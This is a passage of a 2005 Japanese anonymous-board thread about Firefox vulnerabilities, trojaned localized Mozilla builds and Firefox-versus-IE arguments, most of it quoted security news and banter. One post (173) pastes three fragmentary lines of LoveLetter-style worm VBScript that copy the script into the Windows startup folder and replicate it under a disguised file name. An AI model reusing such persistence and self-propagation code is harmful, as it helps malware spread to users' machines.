05/09/25 04:54:29 lMdliH7p0
>>119
君がっかりスレにもいなかったっけ？

121:名無しさん＠お腹いっぱい。
05/09/25 04:59:29 Zwu1xzPH0
>>120
おらん。

122:名無しさん＠お腹いっぱい。
05/09/26 09:31:12 MNfm2REa0
Firefoxのセキュリティ・ホールを突く危険なコードが出回る

米SANS Instituteなどは米国時間9月23日，Firefoxなどに見つかった
セキュリティ・ホール「IDNバッファオーバーフロー問題」を突くコード（プログラム）が
ネット上で公開されているとして注意を呼びかけた。そのコードが含まれるページを
Firefoxで閲覧すると，リモートからアクセス可能なシェルが起動され，
攻撃者にパソコンを乗っ取られる可能性がある。

URLﾘﾝｸ(itpro.nikkeibp.co.jp)

123:名無しさん＠お腹いっぱい。
05/09/26 18:08:43 a6bnxBsV0
Firefoxのセキュリティ・ホールを突く危険なコードが出回る
URLﾘﾝｸ(itpro.nikkeibp.co.jp)

米SANS Instituteなどは米国時間9月23日，Firefoxなどに見つかった
セキュリティ・ホール「IDNバッファオーバーフロー問題」を突くコード（プログラム）が
ネット上で公開されているとして注意を呼びかけた。そのコードが含まれるページを
Firefoxで閲覧すると，リモートからアクセス可能なシェルが起動され，
攻撃者にパソコンを乗っ取られる可能性がある。
9月23日に日本語版が公開されたFirefox 1.0.7ではこのセキュリティ・ホールは解消されている

>>122
引用するならちゃんと1.0.7でパッチ当たってるとこまで引用しなよｗ

124:名無しさん＠お腹いっぱい。
05/09/27 01:04:54 s2h1V+nW0
トロイに感染したMozillaとThunderbirdがMozillaの公式FTPサイトにアップ
URLﾘﾝｸ(internet.watch.impress.co.jp)
工工エエェェ（´Д｀）ェェエエ工工

インストールするだけでスリルとサスペンスが味わえる素敵なブラウザ　Firefox
インストールするだけでスリルとサスペンスが味わえる素敵なブラウザ　Firefox
インストールするだけでスリルとサスペンスが味わえる素敵なブラウザ　Firefox　

125:名無しさん＠お腹いっぱい。
05/09/27 01:19:07 opYn+JI80
>>124
なぜ「韓国語版」というとこを引用しませんか

126:名無しさん＠お腹いっぱい。
05/09/27 02:27:10 nsLh+TDK0
火狐ズタボロ
ﾃﾗｶﾜｲｿｽ

127:名無しさん＠お腹いっぱい。
05/09/27 04:26:14 deFs5FiD0
>>122や>>124 のように自分の都合の悪い部分を引用しない
不公正な記事紹介者に惑わされてはいけません。正しい知識を身につけるには自分で調べることが大切です。

Google 検索　"脆弱性　IE　Firefox"
URLﾘﾝｸ(www.google.co.jp)

Google News 検索　"脆弱性　IE　Firefox"
URLﾘﾝｸ(news.google.co.jp)

128:名無しさん＠お腹いっぱい。
05/09/27 05:27:07 M1jFvEgd0
>>122や>>124の元記事を読みましたが、事実を歪曲した変な記事ではなかったです。
公式サイトに韓国版がアップされたということは、日本語版でも同様の事件が起きる可能性があったと感じます。
>>122の記事も最新版へ版を上げるのが半日でも遅ければ、被害を受けてしまう可能性が示唆されている緊迫感が溢れた内容でした。
漏れの胸には、>>122や>>124の元記事がズンと響きました。(｀Д´；)

129:名無しさん＠お腹いっぱい。
05/09/27 08:04:46 k4CB8WNT0
使わなきゃいいだろ

130:名無しさん＠お腹いっぱい。
05/09/27 10:25:51 cIuQPL1X0
やっぱりIEが一番安全だね。
MS謹製は伊達じゃないね。

131:名無しさん＠お腹いっぱい。
05/09/27 20:16:28 /uGK3lAg0
GNUかどっかのFTPも一時期ハックされたよな

132:名無しさん＠お腹いっぱい。
05/09/28 23:46:38 CdgqJAxR0
>>128
どこからどこが同様な事件なのか謎だな。モジラコリアと別組織のMozilla Japanで同じことが
起きる可能性なら、別のオープンソース系のプロジェクトも同じくらいだろうし。
まあ汚染されたローカライズ版がローカライズ元のヘマでMozilla.orgのFTPにあがる危険性も
今回の失敗を反省せずにケンチャナヨな仕事しないかぎりローカライズ版も安心だろう。
そもそもローカライズ版なんて公式に置いてあろうがその言葉使う人間しか使わないもんだしな。

個人的にはハングル版は使う予定はないし、MozillaJapanが信用できないようなら
次のブラウザ決めるまではそういう事が起きる可能性の低い英語版使うだろうな。

怖いなら他のブラウザに乗り換えればいいんだよな、幸い火狐も雷鳥も人に勧めた事もないし・・・

133:名無しさん＠お腹いっぱい。
05/09/29 02:01:03 lKrqHRhw0
勝手につけられた「公式」という言葉に惑わされている人間がいるな
自分でよく情報を精査してみたら？

あと、オープンソースVSマイクロソフトという図式を
意図的に作り出そうとしている人間もいるから要注意。

MSNのサイトだって凶悪なウイルスをばら撒いていたこともあることだし

134:名無しさん＠お腹いっぱい。
05/09/29 22:07:46 28f7dZxc0
URLﾘﾝｸ(internet.watch.impress.co.jp)
Geckoエンジンに由来する脆弱性、Lunascapeにも影響

ほかの製品の足まで引っ張ってるんだな（汗
しょうもない。

135:名無しさん＠お腹いっぱい。
05/09/29 23:17:40 sodlPqrm0
マルチエンジンだとそれぞれのエンジンの脆弱性というリスクを背負ってるからな。

136:名無しさん＠お腹いっぱい。
05/09/30 21:28:48 aoJUMEOC0
それこそIEだとほぼ全滅だろうが（ﾜﾗ

137:名無しさん＠お腹いっぱい。
05/10/01 10:38:30 TeRyCRtr0
Gecko外せば良い話だ＞Luna
すぐ外せ

138:名無しさん＠お腹いっぱい。
05/10/01 12:51:34 0pB875gi0
>>135
作者さんのリスクは増えるけどユーザのリスクは減ってる罠。

139:名無しさん＠お腹いっぱい。
05/10/03 16:14:41 KyL+RY7o0
報告された弱点と実際のセキュリティはFirefoxの優位性を示している
URLﾘﾝｸ(www.itmedia.co.jp)

106ページから成るSymantecのリポートでは、ブラウザの弱点についての記述は僅かな部分を占めているにすぎない。
しかし、業界紙はFirefoxの弱点がIEよりも多いというニュースを大きく取り上げていた。

Firefoxのほうが「報告された」弱点は多いかもしれないが、実際のエクスプロイトを見つけるのは難しい。
Mozillaプロジェクトの製品ヘッドを務めるクリス・バード（Chris Beard）氏は、Firefoxの弱点に対して実際に攻撃があったという話は聞いていないと言った。

140:名無しさん＠お腹いっぱい。
05/10/07 00:46:19 xKhAwCWo0
URLﾘﾝｸ(japan.cnet.com)
またFirefoxのプロモーションサイト侵入事件　ユーザー10万人の個人情報流失の可能性

Firefoxは何から何までクソだな

141:名無しさん＠お腹いっぱい。
05/10/07 01:58:41 SHwKQQlj0
最近変な動作が多いと思ったら、これが原因か。
こんな事なら、IEから乗り換えるんじゃなかった・・・

こんな無責任なブラウザ、もう二度と使わない。

142:名無しさん＠お腹いっぱい。
05/10/07 03:56:23 qkQVgx2n0
そう？俺は逆でIEの頃はバンバンブラクラやスパイウェア喰らいまくり、
その他原因不明のエラーで落ちまくったけど、Firefoxにしてからはそんなことは一度もなくなったよ。
別世界のように安定してる。もっと早く決断しとくべきだったよ。

それに、すぐにFirefoxに責任転嫁するのはちょっと時期尚早じゃないんかい？
ちゃんと検証してからじゃないと逆に問題解決が遠くなるよ。スパイウェアやウィルスの働きかもしれないし。
特にIEの人は知らないうちにスパイウェアやウィルス喰らっててそういうのが多いんだよね。一度ちゃんと調べてもらうことをおすすめするよ。

143:名無しさん＠お腹いっぱい。
05/10/07 09:03:37 SgY26LkG0
>>141
>>140で書いてある情報の流出はFirfoxの動作と関係ないと思うぞ。

144:名無しさん＠お腹いっぱい。
05/10/07 09:05:03 SgY26LkG0
まちがった。orz
×Firfox
○Firefox

145:名無しさん＠お腹いっぱい。
05/10/07 13:59:36 F7fGvN3p0
正直、個人情報一切持ってない俺には脆弱性なんてどうでもいい

146:名無しさん＠お腹いっぱい。
05/10/07 14:03:24 6nZKQfvl0
IP自体立派な個人情報

147:名無しさん＠お腹いっぱい。
05/10/07 22:59:25 Y4/nGif40
ああそう

148:名無しさん＠お腹いっぱい。
05/10/12 00:39:13 jHMQxzfP0
Firefox 1.0.7でリモートから攻撃可能なスタックオーバーフローが見つかる
URLﾘﾝｸ(www.netsecurity.ne.jp)

また糞foxのでかいセキュ穴・・・・。Linux使いなんでクマったよ。('A`)

149:名無しさん＠お腹いっぱい。
05/10/12 01:10:02 UhKZX0zs0
＞IP自体立派な個人情報
IPは全世界共通のプロトコルです。
IPアドレスは利用者の氏名、住所、その他の個人情報を特定するものではありません。
つまり個人情報ではありません（個人情報保護法より）

結論だけ言うとｱﾎかと。

150:名無しさん＠お腹いっぱい。
05/10/12 01:40:25 tuzXIcIz0
GATEKEEPERにとっては困ることだ

151:名無しさん＠お腹いっぱい。
05/10/12 15:08:18 Ucs66PI80
どうでもいいよ

152:名無しさん＠お腹いっぱい。
05/10/12 20:55:31 JyuiqZsS0
>>149
他のデータと照合することにより個人を特定できる場合は
個人情報として認められるんじゃなかったか

153:名無しさん＠お腹いっぱい。
05/10/13 00:22:56 nmeBryoK0
IPアドレス（とその接続時刻）から個人を割り出せるのって基本的にISPだけじゃないの？

154:名無しさん＠お腹いっぱい。
05/10/13 04:43:57 OkmmlNcx0
SMTP over SSL でヘッダーに付くIPアドレスから
引き篭ってることがバレる。Webメールを使おう。

155:名無しさん＠お腹いっぱい。
05/10/14 16:25:20 EeTPCnwU0
脆弱性とかどうでもいい
昔は脆弱性ぐらいでスレ乱立しなかったし

156:名無しさん＠お腹いっぱい。
05/10/14 22:35:00 5mcfrceg0
どうでも良いとはいわないけど、本気で脆弱性を気にしだしたらWindows使うなってことになりかねない。
じゃあ、何を気にすればいいんだっていったら、速やかにパッチされるかどうかってことじゃない？

一番困るのは放置プレイ。

157:名無しさん＠お腹いっぱい。
05/10/17 19:06:38 CKId7XO40
ｽﾚﾘﾝｸ(sec板:732-797番)

797 名前：名無しさん＠お腹いっぱい。[] 投稿日：2005/10/17(月) 18:58:02
>>792
つまりFirefoxが糞ということでFAなw

158:名無しさん＠お腹いっぱい。
05/10/17 19:30:05 DN35F2g10
>>157
IEと互換性を高めるためにFxは
URLﾘﾝｸ(www.rakuiti.com)
を呼びにいってるけどそのファイルがhtmlだからNOD32さんが誤検出してるだけっぽい。(どの時点で検出してるか知らないけど。ディスクキャッシュ辺り?)
IEはリダイレクト時は/favicon.icoを呼びにいかない仕様なのかな?(それともMOD32がfaviconを取得できてないのか)
#セキュリティ板ってレヴェル低いなw

159:名無しさん＠お腹いっぱい。
05/10/17 19:36:15 0eAiplk60
セキュ板より通信技術板のほうがいい

160:名無しさん＠お腹いっぱい。
05/10/17 22:40:18 uusxxYP90
>>158
MOD32 の検索結果約 11,700 件中 1 - 50 件目 (0.31 秒)

161:名無しさん＠お腹いっぱい。
05/10/18 06:30:47 xjmjx5C20
IEだったらいまごろどんだけウィルスかかってたか

162:名無しさん＠お腹いっぱい。
05/10/18 06:39:38 xjmjx5C20
まぁ自身は火狐使ってなくてスレイプニルだけど・・
他のブラウザの存在しってたらIEなんか使わないだろ
というかIE開こうとしてもなんかのエラーで開かないよ　プニルも火狐も使えるのに
糞ウィンドウズが壊れてきたのかな

163:名無しさん＠お腹いっぱい。
05/10/18 06:42:06 xjmjx5C20
IEはウィンドウズの一部だからな・・・欠陥OS　XP・・・
データ退避させないといけないのか、メンドいな

164:名無しさん＠お腹いっぱい。
05/10/18 07:06:32 wIuHDK4u0
またなんか公開されてるみたいだな

165:名無しさん＠お腹いっぱい。
05/10/18 13:54:07 K/eKfqzB0
Mozilla Firefoxブラウザの致命的でないバグを利用して、サービス停止（DoS）攻撃を
引き起こすことができると、Whitedust Securityが指摘している。

同サイトはこの主張を証明するための脆弱性実証コードと単純なテストリンクを公開した。
URLﾘﾝｸ(www.itmedia.co.jp)
このコードが利用するバグはMozillaにとって既知のものだ。これは8月からMozillaの
バグトラッキングシステムである「Bugzilla」に掲載されていた。

このBugzilla Bug 303433は初めsecurity-protocols.comのトム・フェリス氏が報告し、
「この不正な形式の.htmlページでFirefox 1.0.6のsegfaultsが起きる」というタイトルが付けられている。
セキュリティ企業Secuniaは10月10日にこのバグに関するアドバイザリを掲載し、
「Mozilla Firefox IframeサイズのDoSの脆弱性」という題と「Not critical（致命的でない）」という評価を付けている。

「ブラウザを繰り返しクラッシュさせられるというのは致命的なバグではないかもしれないが、
もっと時間があればDoS攻撃を利用してより深刻な攻撃を仕掛けられる可能性がある」と
Whitedustのマーク・アンダーソン氏。

「定義に従えば、このバグは明らかにDoSだ。ブラウザをクラッシュさせることで、
このバグはユーザーの閲覧行為を中断させ、実質的にはすべてのアクティブなセッションを破壊して、
サービスを停止する」（同氏）

166:名無しさん＠お腹いっぱい。
05/10/18 16:10:20 wF9ubEvV0
>>165
それいうんだったらcssがらみでもっとクラッシュバグがいっぱいあったはず。
それよりも<img src="mailto:">をどうにかして欲しい。

167:名無しさん＠お腹いっぱい。
05/10/18 18:34:00 FzjzmHXj0
>>158

>それともNOD32がfaviconを取得できてないのか
IEは「お気に入り」登録する時にfavicon取得する仕様だからな。
おまえってレヴェル低いなw

168:名無しさん＠お腹いっぱい。
05/10/18 20:29:18 wF9ubEvV0
>>167
Windows環境ないんで。
どっちにせよFxではdataスキーマでhtmlファイルに埋め込まれるから安全。

169:名無しさん＠お腹いっぱい。
05/10/18 20:29:36 FqqHA8U60
>>162
IEの脆弱性はIEコンポ使ってるブラウザにも波及するわけだが

170:名無しさん＠お腹いっぱい。
05/10/18 20:45:47 JZAhOkEt0
javascriptとかcookieとかを簡単に切れる分、生IEよりはましじゃん。
まあLynxを使ってる俺には関係ない話だが。

171:名無しさん＠お腹いっぱい。
05/10/18 20:46:55 JZAhOkEt0
やった、IDがAhOだｗ

172:名無しさん＠お腹いっぱい。
05/10/18 21:07:45 FzjzmHXj0
>>171
オメ!w

ついでに賛美しといてやるw

>>171の Σ^)/アホーアホー☆ミ

173:名無しさん＠お腹いっぱい。
05/10/19 01:19:48 Da9E51cb0
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

174:名無しさん＠お腹いっぱい。
05/10/19 18:36:56 ZlOmEkpw0
ブラウザならW3Cオススメの Amaya を使ってみれ。
URLﾘﾝｸ(www.w3.org)

175:名無しさん＠お腹いっぱい。
05/10/19 21:40:54 yF+pppXI0
>>174
日本語対応?

176:名無しさん＠お腹いっぱい。
05/10/20 01:17:04 UHOcCHcq0
あやや？
反りっ鼻ブスのことか？

177:名無しさん＠お腹いっぱい。
05/10/31 14:21:27 oKU9sXP90
Windows Vista Beta 1 and Internet Explorer 7 Beta 1 BUGS,BUGS,BUGS!!!

URLﾘﾝｸ(www.thehotfix.net)

次ページ